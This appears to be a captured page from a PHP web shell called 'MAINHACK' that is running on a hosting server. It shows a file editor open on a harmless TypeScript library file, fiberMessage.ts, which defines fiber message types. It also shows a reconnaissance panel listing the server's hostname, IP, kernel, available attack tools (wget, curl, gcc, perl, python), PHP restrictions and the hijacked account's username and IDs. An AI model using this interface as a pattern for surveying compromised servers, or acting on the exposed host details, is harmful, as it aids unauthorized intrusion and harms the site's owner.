[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: fiberMessage.ts
import type * as Cause from "../Cause.js" import type * as Effect from "../Effect.js" import type * as FiberStatus from "../FiberStatus.js" import type * as FiberRuntime from "./fiberRuntime.js" /** @internal */ export type FiberMessage = InterruptSignal | Stateful | Resume | YieldNow /** @internal */ export const OP_INTERRUPT_SIGNAL = "InterruptSignal" as const /** @internal */ export type OP_INTERRUPT_SIGNAL = typeof OP_INTERRUPT_SIGNAL /** @internal */ export const OP_STATEFUL = "Stateful" as const /** @internal */ export type OP_STATEFUL = typeof OP_STATEFUL /** @internal */ export const OP_RESUME = "Resume" as const /** @internal */ export type OP_RESUME = typeof OP_RESUME /** @internal */ export const OP_YIELD_NOW = "YieldNow" as const /** @internal */ export type OP_YIELD_NOW = typeof OP_YIELD_NOW /** @internal */ export interface InterruptSignal { readonly _tag: OP_INTERRUPT_SIGNAL readonly cause: Cause.Cause<never> } /** @internal */ export interface Stateful { readonly _tag: OP_STATEFUL onFiber(fiber: FiberRuntime.FiberRuntime<any, any>, status: FiberStatus.FiberStatus): void } /** @internal */ export interface Resume { readonly _tag: OP_RESUME readonly effect: Effect.Effect<any, any, any> } /** @internal */ export interface YieldNow { readonly _tag: OP_YIELD_NOW } /** @internal */ export const interruptSignal = (cause: Cause.Cause<never>): FiberMessage => ({ _tag: OP_INTERRUPT_SIGNAL, cause }) /** @internal */ export const stateful = ( onFiber: ( fiber: FiberRuntime.FiberRuntime<any, any>, status: FiberStatus.FiberStatus ) => void ): FiberMessage => ({ _tag: OP_STATEFUL, onFiber }) /** @internal */ export const resume = (effect: Effect.Effect<any, any, any>): FiberMessage => ({ _tag: OP_RESUME, effect }) /** @internal */ export const yieldNow = (): FiberMessage => ({ _tag: OP_YIELD_NOW })
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344